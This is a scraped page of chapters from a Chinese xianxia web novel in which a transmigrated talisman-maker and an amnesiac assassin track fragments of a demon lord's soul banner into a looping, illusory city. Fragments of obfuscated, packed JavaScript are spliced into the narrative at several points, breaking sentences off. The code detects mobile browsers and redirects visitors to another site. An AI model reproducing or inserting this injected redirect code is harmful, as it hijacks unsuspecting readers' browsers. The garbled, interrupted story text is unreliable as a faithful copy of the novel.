《攻略魔尊三步走》 2. 第 2 章 “叶轻舟!” 叶轻舟瘫坐在地,仿佛眼前还是一树桃花,耳边还是那句“奇变偶不变”。 一双手紧紧地抓住他的手腕,冰冷,有力。 他被拉回现实。 “这,这到底是什么玩意?” “此物会噬魂,你差点死了。”孟十八漆黑的眼睛直直地看着他,“你看到什么?” 噬魂……叶轻舟神智回笼,颤声道:“这不会是……魂幡吧?” 魂幡魂幡,自然是以魂魄供养,人的记忆自然也存在灵魂之中。他看到的记忆莫非是……叶轻舟不敢再想,而孟十八也证实了他的猜测。 杀手略一点头,“是魂幡碎片,你有感应到什么吗?” 叶轻舟下意识摇头,“任务完工,我先走了……”他摇摇晃晃站起身,灵火映出他通红的眼睛,从口袋里抽了半天也没把传送符抽出。 一只手替他抽出传送符,叶轻舟惶惶然抬头。 “我送你回去。”孟十八面色依旧淡淡的,带着不容置疑的味道,“你需要休息。” 不等他回答,孟十八已经将手中的符纸贴在尸体上,自己解开结界,示意叶轻舟跟上。 被冷风一激,叶轻舟清醒不少,再三强调自己只是一时失态,孟十八凝视着青年慌乱的眼睛,没有坚持,只是叶轻舟一转身,她就藏匿气息,跟在五步之外。 她想不明白。 按理说,魔界的魂幡都是用怨灵供养,制造怨灵最好的方式就是把他们的记忆和魂魄搅碎,任何靠近魂幡的人,只会在怨灵哀嚎声中断送性命成为新的养料。 可是叶轻舟的表现完全不是那样,他像是看到了什么极为怀念又震惊的场景,若非孟十八及时令他回神,恐怕他已经奋不顾身跳进去。 而孟十八自己,只看见虚无的黑。 没有怨灵,没有记忆,她在魂幡中只看见熟悉的空无。 就像她失去的记忆。 魂幡没有试着吞噬她,魂幡也没有接纳她,她应该熟悉的,她应该记得的,她应该去品尝这样的痛苦,她应该去拥抱她所失去的过去,可是一道禁制隔着她们,像是有人早早料到这块魂幡最终会落入她手,所以提前做下准备。 只阻拦她的禁制,是何人所下?又为何拦她? 孟十八下意识揉了揉眉心。 鲜有人知,这位大名鼎鼎杀手榜第一的杀手记忆全失,在荒芜中醒来,一路流浪,直到遇见相思楼主,才有归宿。 孟十八也不是没有对自己的过去产生好奇,曾焚香引魂,跌入旧梦,只见血色漫天,执念横生,醒来时,泪流满面,双手空空。 她以为这是征兆,所以她成为了杀手。 彼时相思楼有杀手十七,按序她为十八,故得名孟十八。 几年来,她杀过的魔不计其数,她经手过的事件数不胜数,她去过黄泉深渊,到过无间魔域,见过启航的天舟,也乘过一日千里的神驹,可是什么都没有,她的记忆依旧空白。 为何执着?相思楼主问她,你找寻的过程,不也是你的记忆吗? 孟十八停下脚步。 她跟着叶轻舟走进一条街巷,虽然家家户户大门紧闭,不见灯火,但能感受到一股绵延的暖意:是未散尽的炊烟,是窗后悠长的呼吸,是灶台中留有余温的灰烬。宁静,安全,远离了喧嚣不断的闹市,也隔开了阴暗滋生的暗区,若非今日护送叶轻舟,孟十八恐怕永远不会主动踏入这块与她格格不入的地界。 叶轻舟停在一座小院前,从怀里拿出一枚灵石,嵌进大门边上的机关里,咔哒几声轻响,他闪身消失在院门后。 本想离开的孟十八不自觉颦眉。 她虽一直住在相思楼内,但对钱财换算并非一无所知。自魔君容与登基为帝推行新政后,魔界统一货币,与人间相似,以金银铜钱为主。此处房屋地价,以相思楼对属下的慷慨,叶轻舟想买入自然绰绰有余。可是他用灵石供能,就是另一回事。 灵石罕见稀少,只能从灵脉里开采挖掘,并且消耗极快。寻常一块普通灵石价值十两白银,但哪怕是刚入境的修士,也只需要一刻钟就能全部吸收消化。 而叶轻舟使用的分明是以灵石为能源的阵法,孟十八悄然上前用灵力一探,果然,此阵法主为防御,有八方点位,每处都需要上品灵石源源不断供能。若说这是豪门商贾,倒也罢了,叶轻舟一个普通修士,怎会有如此家底,又有什么秘密需要严加保护? 孟十八心思一转,脚步一点,消失在原地。 叶轻舟倒是对此无知无觉。他回家后人往沙发上一倒,呆呆地看着他自己手工做的电灯发愣。 世上大喜大悲不过如此,他听到老乡的声音,偏偏是在怨灵炼就的魂幡中。 对方已经死了,他心中生出兔死狐悲之凉,死亡会带他回到家乡吗?回到现代,回到家里,哪怕没有人等着他。 “系统,系统。”系统被激活发布任务后,他只需要闭目呼唤,就能打开面板,“你没什么想说的吗?” 面板上任务栏已经更新完毕,主线任务下【追寻久远遗失之音】旁边已经显示着【已接取】,叶轻舟苦笑一声,“你也没给我选择权啊。”往上一看,更是一怔,原先救赎二字后被涂黑的部分已经展露出来。 【主线任务:救赎灭世魔尊,进行中】 魔尊? “用户叶轻舟你好,系统496号竭诚为你服务。”机械冰冷的电子音响起。 “一点也不人性化。”叶轻舟划过其他界面,原著栏依旧只有几行字,下面倒是新增了一个情报栏。 点进一看,首先是世界观介绍,叶轻舟心知这也是需要推剧情解锁的,先拉到魔界分类下进入魔尊词条,看了又看,忍不住问道:“系统,你要我救赎的,魔尊,难道是孟危?” “她不是,已经死了吗?” 救赎死人算什么,临终关怀跳大神吗?叶轻舟想起现代著名的“你的专业能为你的老板做什么”,他现在唯一能为孟危做的就是扫干净现场,哦,孟危五百年前就死了,要他去超度? 系统闪了闪,“是。” 叶轻舟一下子没反应过来,“是什么?是孟危?” “是。” “她已经死了?” “error,error” 叶轻舟懂了,但没完全懂。 他要救赎的对象是孟危,但是孟危死没死是不确定的,薛定谔的,系统都无法回答的。 谜语人是主线剧情不得不品的一环。叶轻舟自我安慰,至少他终于打开主线了,“我下一步该怎么办?” “完成【追寻久远遗失之音】”系统机械回答,“建议:明日前往相思楼,组队完成该任务。” “相思楼是存档点吗?” “不是。” “组队有要求吗?” “建议……”系统又卡住,叶轻舟习惯性拍了拍,“建议搭档:相思楼孟十八。” 叶轻舟想你可真是我的知己啊,要是他能选他也想让孟十八保护自己,不过价钱他肯定付不起,“任务内容呢?你能不能别我问一点吐一点了。” 系统闪了闪,没回答。任务栏下倒是贴心增加了一句: 【任务将于次日白天开启】 好极了,叶轻舟睁开眼睛,居然还有时间限制。 相思楼今日难得白天热闹。 叶轻舟一夜没睡,索性起身把他的清洁工具都刷洗一遍,又坐在椅子上,掏出自己当年高考的架势,想着怎么找理由向楼主说明。想来想去,除了回忆起大学时期请假的奇葩段子,竟是一字未写。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169210|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知不觉月落日升,叶轻舟看系统上可算有了任务消息,又无语于任务内容居然是【前往相思楼】,干脆起身简单梳洗后,径直走向相思楼。 没想到孟十八也在。 习惯昼伏夜出的杀手白日里不再一身黑,面前杯中雾气晕开她锋利的眉眼,身上藏青色衣袍,金线绣纹在阳光下若隐若现,平添了几分贵气。 叶轻舟谢过指路的侍女,坐到对面打招呼道:“早啊。”话一出口他就想咬舌,“找我有事吗?” 他苦思冥想的婉转呢?叶轻舟在心里大叫,现在补上一句天气不错吃了吗您能不能活跃气氛。 好在孟十八也不在意,“昨天晚上,你是不是从魂幡里感应到什么?”她单刀直入,“你看到了一些他人的记忆,是不是。” 叶轻舟一愣,不知是该摇头还是点头。 只听孟十八继续说:“那块魂幡来头不小,楼主想借此机会搜集找全,如果你和里面记忆有所感应,可以……” 叶轻舟张了张嘴,孟十八的声音和大脑里叮叮当当的任务提示音混在一起,吵得他头疼。 “……你意下如何?”孟十八神情严肃道。 “你说的来头不小……是指什么?” 孟十八没想到他会先问这个,不过想起他是仙界人对魔界故事不熟悉,解答道:“这是昔日魔尊孟危的万魂幡碎片之一。” 难怪。 难怪主线任务会开启。 叶轻舟点点头,“我能帮上什么?”他斟酌了一下,没有把老乡的暗号说出来,“我昨天确实看到一些记忆片段,有人站在桃树下。只是这和寻找万魂幡之间有什么关系?” “炼制万魂幡需要碎魂,而魂魄之间仍藕断丝连,”孟十八面色如常讲道,“你擅长阵法符修,应当熟悉这种联系。” “魔尊孟危死后,万魂幡四分五裂,至今下落不明。” 叶轻舟只能点头,碎魂,他在心中念到,对那位魔尊全无好感,要他说,这种人只能作为游戏大boss被打倒才算解气,救人的名额就该分给死在魔尊手下的无辜者。 “可是其中魂魄无数,我也不能保证下次还能探到相同的记忆。” “你错了。”孟十八耐心解释,“魂灵越弱越容易消散,如今五百年已过,能保留记忆片段的,定不是普通修者。” 叶轻舟心一疼。 孟十八从怀中拿出魂幡碎片,“不用担心被吞噬,我会在一边为你护法。” “现在吗?”叶轻舟愣愣问道,“就在这?” “对,”孟十八指向桌上的相思令,“楼主令你我暗中寻找,有线索就立刻出发。” 叶轻舟心道这任务剧情推得真够快。他手上掐诀起势,探入万魂幡中。 孟十八在一旁结印护法,她没有告诉叶轻舟,她回相思楼后,已经找了不下十人尝试,无人能看见魂幡中的记忆碎片,哪怕只是这小小一块碎片,其中万千怨灵的威压就能压住三重境的魔修。 她也没有告诉叶轻舟,相思楼情报盘根错节,自然有几处魂幡碎片的下落。 既然好奇,就去做吧。听完她汇报后,相思楼主如此说,那个人,现在归你了。 忽见灵光大震,叶轻舟猛然收手,孟十八当机立断为他注入灵力,撑住他的身体。 “咳咳咳,”叶轻舟咳得喘不过气,孟十八所言非虚,魂幡中成型的魂魄碎片寥寥无几,他顺着魂魄牵引能感受到一种强大的共鸣,“我只能感应到一块,咳咳咳……” “往东走,在思乡渡之外,在……咳咳咳” 孟十八眉头一紧。 这可完全不符合她的情报。 魔界往东,思乡渡外。 是人间。 魔尊的遗物,为何会出现在她未曾涉足的人间? 3. 第 3 章 三月初霁,柳叶上仍沾着未落的雨珠,青石板晕开了一层绿,燕子衔着春意归来,停在树梢,好奇地望向脚下的路人。 叶轻舟闭上眼睛痛快呼吸着新鲜空气,方觉得自己算是活过一遭。天地良心,他第一次知道自己居然晕船,之前在天舟上,若不是孟十八塞了块糖让他含着,可能他就出师未捷身先晕了。 不过说起孟十八,叶轻舟几步跟到边上,小声提议:“我们是不是穿的有点格格不入。” 初春踏青,人人穿的鲜嫩活泼,桃红柳绿,叶轻舟自己一身青衫还能凑合,深色虽配,但孟十八看上去也不过和他一般年纪,难免显得老气。 “完成任务要紧。”孟十八显然不在意,“地图。” 叶轻舟拿出他新买的地图,“走水路下一站是武陵,走陆路下一站就是青山,那里有仙界青山派,负责守关防魔。” 说话间二人已经寻到一座茶楼歇下,叶轻舟将地图交给孟十八,自己对着店小二点菜安排,反正相思楼财大气粗,银子足够。 所谓防魔,就是会设下阵法检测魔气,叶轻舟走修仙入道,自然能通过,而孟十八身上杀气太重,只能用法器掩盖。而走水路则不一样,“武陵没有仙门。”孟十八收起地图,“你晕船。” 叶轻舟烫碗的手一僵,“我能直接转移过去。”他在地图上比划,“这点距离,我们可以一起走。” 御剑也行,虽然他没有剑。 孟十八没接话,叶轻舟顺着她的视线往窗外看去,只见三五仙门修士穿着统一的青衣白衫走在一起。 怎么还有点眼熟?他心里嘀咕。 等等,他眨眨眼,记忆里某些画面慢慢浮现,正巧一位女修也抬起头看到他。 “叶师弟?!” 叶轻舟愣愣,“玉师姐?” 仙门修士正是云霄门历练的弟子,领队的玉云英是叶轻舟的亲师姐,孟安风的首徒。安风君常年闭关,叶轻舟等几个徒弟都是被大师姐一手带大,说声亲姐姐都不为过。 他乡遇故知,自然激动万分。玉云英几步跑上楼,拉着叶轻舟看了半天,才说了一句:“瘦了……” 叶轻舟眼睛微红,笑道:“外面哪比得上云霄大厨的手艺,师姐你……” “你过得好吗?”二人齐齐出声,玉云英又问,“你这些年都在哪里,为什么一直不回来?”她声音又急又快,“我带人把秘境翻遍也没找到你的灵力,这些年若不是你的魂灯一直好好的……我们,我们……” 说话间二人落座,孟十八不动声色地藏进阴影里。 “我,我挺好的,”叶轻舟没把自己掉入魔界的事说出,“我素日里就卖卖符,看看书,不回去只是因为,因为……” “没事的,没事的,知道你平安就好。”玉云英没有追问,“看你过得好我就放心了,师尊还是老样子,云霄门也和从前一样,今年仙盟大比,你若想来,就回家找我。” “还有,我都忘了,”玉云英转身,“我是云霄门玉云英,不知姑娘是?” 被注意到了,是什么时候? 孟十八算过,无论是在楼下还是在刚刚,她都确保自己不会被对方看见,她对自己的隐匿术一向自信,但初出魔界就被仙界修士看破,反倒让她生出一丝兴味。 “唤我十八娘即可。”孟十八走出阴影,“叶公子要送我去人间,寻亲。” 叶轻舟从久别重逢的喜悦里缓过神,心想还好事先串过口供,不然他嘴一瓢,估计今晚就会被片成刺身。 “对,十八娘一直生活在这人魔交接处,好不容易得到了双亲消息,我送她到天京。” “天京?”玉云英眼睛一亮,“倒是不谋而合,你们走哪条路?” “从水路去武陵。”叶轻舟抢先答道。 玉云英抚掌笑道:“果真是天意!你们干脆与我们一起走吧。” 叶轻舟下意识去瞄孟十八,只听孟十八语气犹豫道:“我没坐过船……” “不坐船,我带你御剑。”玉云英第一眼见孟十八就觉得喜欢,少年身形瘦削,深色衣裳衬得皮肤发白,一双黑曜石般的眼睛仿佛会说话,一看就是没少吃苦的孩子。 师姐弟又聊了几句留下通讯符才告别。叶轻舟坐在位置上傻乐半天,菜都上全了还没回神。 孟十八自顾自地吃饭,她现在是“出生在人魔交接处从小吃尽苦头的穷孩子”,只需要埋头吃饭就好。 “刚刚,多谢你。”叶轻舟揉了揉笑僵的嘴角,他知道那句没坐过船是替他说的,“我失态了,玉师姐对我……有恩。” “小事,你没有说出任务,很好。”孟十八吃完饭开始舀汤,“再接再厉。” 叶轻舟低低笑了两声,“我继续努力,很高兴为你服务~” “仙盟大比是什么?”孟十八问道,“怎么参加?” “仙盟大比五十年一开,四境之下皆可参与。”说到熟悉的话题,叶轻舟侃侃而谈,“仙界四境就是魔界二重初期,仙盟每门每派有两个名额,散修则需要先参加遴选大比,前三名可以参赛。头甲前三名可以去仙盟宝库任选一样宝物法器。” 叶轻舟说到这发现孟十八的眼神变了,他后知后觉,“你不会想说……” “仙盟手上确实有那东西。”孟十八肯定了他的猜测,“说不定就在仙盟宝库里。” “那也太大胆了……”叶轻舟倒吸一口凉气,把魔尊的法器碎片放到宝库里,万一被人挑走,岂不是闯了大祸。 孟十八不觉得,“那东西如果不放宝库,会放哪?” 叶轻舟想也不想脱口道:“当然该直接毁掉。”他顿了一下,“至少不能让人接触到。” 孟十八知道对方这是身在魔界心向仙,“那东西是毁不掉的。” 魔尊孟危死后,万魂幡被众修士争抢,裂为数份,没想到法器有灵,竟然四散而去,让众人追无可追。根据相思楼情报推测,万魂幡碎片所落都是与孟危息息相关之处,孟十八之前夺来的那块,就是有人从黄泉幽谷,昔日孟危屠龙地挖到的。 只是记载里,孟危从未去过人界,在她治时,魔界与人界也不曾开战,为何叶轻舟感应的地方偏偏在人间? 孟十八首先排除了叶轻舟说谎的可能,对方险些遭到反噬是真的,痛苦神情下所说的话也做不得假。 “说起来,我真的很想说,”叶轻舟嘀嘀咕咕小声道,“怎么这么多姓孟的啊。” 魔尊姓孟,他的师尊姓孟,他的同事还姓孟。真是好一出糟糕我被孟家人包围了。 孟十八没想到他会说这个,面色一愣,显出几分符合年纪的呆味,“魔界向来推崇魔尊,你竟然不知?” 原来是单推人。叶轻舟恍然大悟,追星追到姓氏这一步已经登峰造极已成艺术了。 “怎么不见他们姓容?”他又问,反正如今他不在魔界,之前不敢说的话索性先说了。 孟十八心想到底是你失忆了没常识还是我失忆了没常识,“容为国姓,当然不能轻易更改。” 哦,原来这就是魔尊与魔帝的区别。 “那你呢?”叶轻舟憋了半天还是没忍住。 你为什么姓孟,又为什么只叫十八,这是真名,还只是一个代号。 “楼主起的。”孟十八无所谓道,“当时相思楼有杀手十七,我排序十八。” 她把话题抛回去,“你为什么叫叶轻舟?” 叶轻舟顿住了。 我也不知道,他想说,我没有见过留给我名字的人。 “轻舟已过万重山。”他拽了句诗文,“豁达,开朗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉云英是在关心她,她能感觉到,不是在同情她这个“寻亲的苦孩子”,也不是修者对凡人的怜悯,玉云英就像是寻常家里的长辈,心疼她的过去,担心她的未来。 好温暖,她想,好想留下来。 “……桃色杏色都各留一套,十八妹,你还有什么缺的,尽管开口。” 孟十八看着试衣镜里的自己,少年将春色穿在身上,寻不得过往杀手的影子。她的眼睛黏在裙子的花纹上,桃花…… 头有些痛,眼睛有些模糊。 好似以前她也和谁一起试衣换装,互相笑过对方的审美。 桃花……桃花…… 怕被玉云英注意,孟十八转过视线:“很好看……谢谢。” “谢什么,小姑娘就该穿些靓丽的,”玉云英爽快地和老板定下时间,招呼道:“叶师弟,别愣着了,走!” 叶轻舟应声,见师姐走出衣坊,自己几步走到孟十八身边,低声:“你还好吗?” 孟十八抬起头,唇边含着淡淡的笑意。 “我很好。” “谢谢你,叶轻舟。” 叶轻舟从未见过孟十八微笑,一时竟然呆住,原先想说的话卡在喉咙里,只听见怦怦作响的心跳。 “警报——警报——” “任务——任务——” 系统尖锐的警告声惊得叶轻舟倒退一步,突然,外面传来“轰隆”一声巨响,晴空上划过一道惊雷。 二人回神,冲出云衣坊,只见远处爆出一道极强的魔气,直击云霄。 玉云英面色凝重,对二人道:“事发突然,我会尽快送你们离开。” “武陵,出事了。” 4. 武陵桃源(1) 眼见玉云英离去寻找云霄同门,孟十八与叶轻舟对视一眼,一人沉着,一人慌乱。 “你去云霄门那里打探情况,”孟十八先开口道,“我去武陵外围探查,传送符给我。” 叶轻舟下意识点头,“你……小心。”他咬到自己舌头,从疼痛里品出不妥,让一个魔界杀手担心魔气,未免可笑,可心里那份没来由的不安,让他抽出符纸的手都有些发颤。 孟十八按了按他的肩膀,“保持联系。”她说完,传送符启动,身影消失在原地。 叶轻舟仍然站在原地,脑子里的系统提示音大作,执着地引起他的注意: 【警报!危险等级检测中!】 【追寻久远遗失之音,新阶段开启】 【与云霄门众人汇合,未完成】 【支线任务已开启】 【资料卡已更新,新收入角色“玉云英”,“孟安风”】 【资料卡已更新,新收入地点“武陵”】 【传送点已更新,“武陵”地图已开启】 叶轻舟一个个红点消过去,强迫自己冷静下来。他不能慌,他相信孟十八,也相信自己,少年定定神,几个跃起去寻玉云英等人。 玉云英正在和几位师妹说话,见他前来,不由关心道:“十八娘安顿好了?” “客栈四周有我阵法保护,无碍。”说谎这事一回生二回熟,叶轻舟眼都不眨,“师姐,现在情况如何?我来帮忙。” “我正要和你说……” “师姐要独自去闯武陵,叶师兄,你帮我们劝劝她吧!”玉云英话音未落,身后一个女修探出身抢先道,她约莫十七八岁,一双杏眼亮晶晶地盯着叶轻舟,“师姐嫌我们修为低,可是三个臭皮匠顶个诸葛亮!” “小月!” 玉云英轻斥一声,被唤小月的女修一步也不退,二人又争论起来。 叶轻舟如何不明白?这几位师妹与玉云英感情深厚,又是初次下山,此刻一来担心师姐安危,二来想要一展身手表现一番。他伸手一拦,温和劝道:“月师妹不过是关心师姐,眼下武陵突发魔气,你独自前去,实为不妥。” 他目光扫过三位年轻女修,各个脸上都写着跃跃欲试,“我见几位师妹都摩拳擦掌,何不给她们一个机会?” 玉云英无奈一叹:“我独去不妥,难道带着她们就不是莽撞了?”看着几人的殷殷眼神,又软下声音道,“镇上防护阵启动后,需要修士看守,我留她们看家,也是为了她们着想。” “师姐!你就带上我们吧!” “师姐,你一个人去我们也不放心啊!” “师姐……” 几个女修围着玉云英撒娇,你一言我一语,如雀鸟投林,好不热闹。 叶轻舟在旁边瞧着,活像误入了猫咖,轻咳一声道:“师姐,不如我陪你去吧,我在外游历闯荡几年,既可以替师妹们保护师姐,也可以为师姐分忧。” “这怎么行?”小月女修率先反对,“你不是要护送人去天京吗?对方还是个凡人,更应该好好保护,尽早离开。” 玉云英苦笑脱身,对叶轻舟道:“你何时送十八娘离开?” 叶轻舟摇头,将编好的理由说出,“我和十八娘商量好了,先不走,等这桩事了结再出发。”见玉云英满脸不赞同,又补充道,“云霄教诲,除魔卫道,我从未忘。更何况一旦武陵出事,这里也会受到波折,十八娘曾受魔祸,无法坐视,再三要我助师姐一臂之力。” 他语气诚恳,眼神真切,“我知道师姐一手青云剑闻名遐迩,可是师弟师妹们之心,师姐也不要忽视呀。” 玉云英凝视他,终是松口答应:“好吧,那三个小的就留在镇上,我们同去。” 三位师妹自然不满,叶轻舟生怕师姐反悔,忙道:“好啊好啊,师姐,为什么我们不去找附近的青山派求援?” “青山派与武陵有旧怨,我已发信,希望有回应吧。” “武陵无门派驻守,理应归属青山派管辖,但多年前青山派曾出过一桩惨案……” * 武陵城是从天而降的城池。 带着丰富的灵矿资源,一座城就这样从天上砸入人间,砸到人魔两界的边缘,砸到青山派的势力范围。 没有人会不心动,没有人能拒绝宝藏。 青山派立刻派遣修士进驻,可谁也没想到,武陵城内人声鼎沸,百姓安居乐业,丝毫不受外界影响。 据青山派弟子禀告,武陵城已经发展数百年,百姓已经传承数代,而他们无一例外,不知三界区分,不知历史变迁,连那场影响三界撼天动地的仙魔大战,对于他们,也只是空白的一页。 所以,理所应当的,面对青山派名为保护实为占领灵矿的要求,武陵拒绝了。 “武陵有自己的信仰,而灵矿就在他们信仰的神树之下……” 怀璧其罪。 * 那一道惊天魔气后,天空又恢复了沉寂。 孟十八悬停在武陵上空,俯视着这座城池。 灵力丰盈,人气喧闹,见不到一丝一毫的魔气。 太干净了。 孟十八掐诀,一小股灵力被她送去,悄无声息地流向城市。 “啪” 像石子投入大海,瞬间被吞没。 孟十八无意识搓磨指尖,更奇怪了。 是阵法,是法器,还是那个隐藏极好的…… 她再次看向城池,即使身处半空,也能隐约听见闹市的声音。 她必须入内一探。 孟十八不再犹豫,在传讯符上简明扼要写下: “城内异样,兵分两路,你与云霄门同行” 灵光一闪而过,孟十八投向城池。 没有阵法,没有排斥。 武陵接纳了她。 孟十八下意识握住了手中的剑。 太亮了。 武陵城无疑是热闹的。 这里似乎是一个被太阳眷顾的城市,孟十八一路看过去,只见人人脸上都洋溢着暖洋洋的笑容,每个人说话都带着扬起的声调。 “大姐,今儿天不错!” “老板,生意兴隆啊!” “快来看一看瞧一瞧,三文钱一根糖葫芦咯!” 灯笼相撞,孩童嬉笑穿过长街,铃铛脆响,商户四处招揽吆喝。孟十八走在人群中只觉得格格不入,她不习惯站在阳光下,她不习惯无处可藏的地形,为什么,为什么这里的一切都那么的…… 阳光洒在身上,带来陌生的温暖,不是溅上血后的黏稠,不是灵火烧灼的炽热,是安全的,是空白记忆里,她或许拥有的—— 幸福。 这是一个离孟十八很遥远的词。 魔界的黑鸦城也很热闹,贩夫走卒,南来北往,莺歌燕舞的酒楼背后,是刀口舔血的欲望。而武陵城,像是一场永远不会谢幕的…… 好奇怪,好奇怪。 孟十八再次探出灵力,依旧无影无踪,她感受到整座城市都被包裹在温暖中,而这暖意本身就是阻拦她搜寻的障碍。 为什么会有这么多的笑容,为什么会有这样的幸福。孟十八看着一对母子因为人群而松开手,她正准备上前一步,没想到母亲迅速回头,而孩子平安地站在原地,人流自动割开一方小小的天地,让这对母子重逢,一位商贩还抽出根糖葫芦递给他们。 孟十八的身子僵在那里。 她猛然回头。 店铺、人群、酒楼。 一、二、三、四、五。 店铺、人群、酒楼。 每一个人都迈着相同的步子。 每一块匾额都是相同的字迹。 她是什么时候失去感知力?她怎么会没有发现,她怎么会没有意识到这条路根本没有尽头! “大姐,今儿天不错!” “老板,生意兴隆啊!” “快来看一看瞧一瞧,三文钱一根糖葫芦咯!” 孩子被人群冲散,母亲回头寻找,母子相拥,小贩递出糖葫芦。 孟十八悚然一惊。 她再次观察起周围,热闹的人群,幸福的笑容,上扬的语调。 没有乞儿,没有地痞流氓。 没有老人,没有药方医堂。 这里,没有生老病死。 是仙,是魔,还是幻境? 孟十八疾步上前,在孩子又一次跌倒后,直接打断流程,握住那个孩子。 “姑娘?” 周围安静了一瞬。 与母亲分开的孩童仰起头。 “姑娘,你……” 川流不息的人群停下来。 “姑娘,这是我家孩子……” 母亲的声音不紧不慢,依旧带着十二分的笑意。 “姐姐……”孩童声音清脆,甜笑道,“谢谢你帮我找到妈妈。” 孟十八下意识松开了手,母子相拥,人们微笑着看向这里,商贩递出一根糖葫芦,一切恢复平静。 她为什么要松手? 孟十八盯着自己的双手。 她刚刚看见了…… 她看见了那个小孩的面容。 不,不是这样的。 她看见了,但是她不记得。不只是小孩,还有那个母亲,还有这里的每一个人。 她看不清每个人的脸。 孟十八当机立断,拿出传讯符,准备将此事告于叶轻舟知晓,早做准备。 “妈妈……妈妈……妈妈你在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大树……大树当然在……在中心啊……”小女孩抓着她的衣服,“姐姐……你会帮我找到妈妈吗?” “当然会。”孟十八郑重地看着她,“我保证。” 杀手不该轻易许诺,尤其是在这个处处诡异的地方。可她脱口而出,仿佛在弥补什么。 “你妈妈今天穿的什么颜色的衣服?” “像竹子一样的,嗯,她有时候会穿蓝色的,像大海!” “你见过大海?” “没有,但是妈妈说过,姐姐也说像天空。” “你还有个姐姐?” “对啊,姐姐比我高好多,”女孩比划着,“她总是笑我还没有剑高。” “一般剑长三尺三,你已经超过了。”孟十八又问,“你们家练剑?” 小女孩露出骄傲的神色,“修,仙,证,道。”她一字一句道,“妈妈说我再大一点也可以。” 武陵有修者,孟十八暗暗记下,又问道:“你和你妈妈走丢前,你们在做什么?” 女孩努力想了想,“在飞高高!”她眼睛亮亮地问,“姐姐你会飞高高吗?” 一路上孟十八极力想避开原先的闹市,却不想说话间竟是又走了回来,她正想掉头离开。附近茶楼的伙计先招呼道:“这位姑娘,快进来歇歇吧。” 旁边人看见也说:“哎哟这是哪家的丫头,怎么在外头摔了一跤?” 孟十八低头看向小女孩,小丫头哭累了,已经在她怀里昏昏睡去,像只没长大的猫,探了探脉搏,并无大碍。孟十八有心推拒,却不知不觉走进茶楼,还未开口,外面就跟来一个十几岁的少女,手里还端着一个铜盆。 “姑娘坐着歇会,我打水帮你擦擦。” “我自己来。”孟十八下意识想拒绝,但少女笑道:“姑娘小心点,你妹妹还在你身上抱着呢。” 孟十八争不过,将小女孩抱在身上坐好,少女拧好帕子为小女孩擦去脸上的脏污,“可怜见的,眼睛都肿了。” “舍妹顽皮。”孟十八佯装自己去拿帕子,握住少女的手腕。 没有禁制,没有傀儡丝,没有灵力,只有阻碍她的暖意。 “姑娘?” 孟十八松开手,“我有一事想问。” “这里,有没有大树?” 咔。 一切都安静下来。 少女停下了动作。 邻桌的客人转动脑袋。 跑堂的小二停下脚步。 茶楼外不再有叫卖声。 所有人都看向孟十八。 所有的眼睛都看向孟十八。 “神树……神树……”千千万万男男女女不同的声音吟诵着。 “你不知道神树。” “外乡人……是外乡人……” 怀里的女孩睁开眼睛,冰冷的小手碰上孟十八的脸颊。 “姐姐,” “神树……看见你了” ——祂睁开了眼睛。 5. 武陵桃源(2) 孟十八停在阴影里。 这本是一个绝佳的位置,眼观六路耳听八方,可攻可守且不引人注意。但那种感觉依旧追着孟十八不放。 黏稠如有实质的目光,像一张蛛丝编织的网,慢慢靠近她。 祂会在哪?孟十八扫过四周,武陵城又恢复了往日的热闹,酒楼的伙计在门口揽客,台阶上歇脚的人们聊着家长里短,住在楼上的居民推开窗,抖了抖手上的衣服。 没有人会注意到她,没有人能看见她。 但是每个人都在看她。 叫卖栀子花的少年不经意抬起头,收下铜板的老板偶尔偏斜的脑袋,靠在门板上说话眼睛却往上看的车夫,茶楼雅间推开窗的文人…… 热情、满足、礼貌、欣赏。 一模一样的表情,一模一样的眼神。 他们在找她, 祂在“注视”她。 当惯了猎手的人,怎么会愿意去做猎物? 与其一味逃避,不如直面。 孟十八再次隐去身形,循着之前找到小女孩的路径,试图走出这个闹市。 她目标明确,要去直面那所谓的神树,直面那个注视她的存在。 指尖一点魔气掷出,她撒下诱饵。 果然,他们动了。 几个路人停下手中的动作,步伐统一,四肢僵硬,无数双眼睛扭转了方向,孟十八屏住全身灵力,夺取一瞬时机,跳出包围圈。 她像一条游鱼掠过商户,绕开行人,在他们反应过来前,再次隐于阴影。 可这招只能使用一次。 当她准备故技重施时,原本预留的退路上,突然出现一位推车叫卖的商贩。一些人自然地围过去,恰好堵住她的后路。 祂在“学习”。 孟十八抬起头,阳光依旧明媚,不远处能看见一抹郁郁葱葱的绿色,生机勃勃,而她只感受到彻骨的冷意。 该如何破局? 指尖燃起一簇灵火。 她之前为什么没有想到?她的意识被祂影响了吗? 这个世界容不下生老病死,连阴暗的念头也要被剥夺吗? 那就索性全烧了吧,烧掉闹市,烧掉神树,烧掉武陵,烧掉虚假,直到烧出真相。 她早该这么做的。 “妈妈……妈妈……” 她又一次听到哭声,小女孩呜咽着呼唤: “娘亲……你在哪里啊……娘亲……” 依旧是青砖黛瓦,依旧是头戴绒花的女孩,依旧是这般哀哀呼唤。 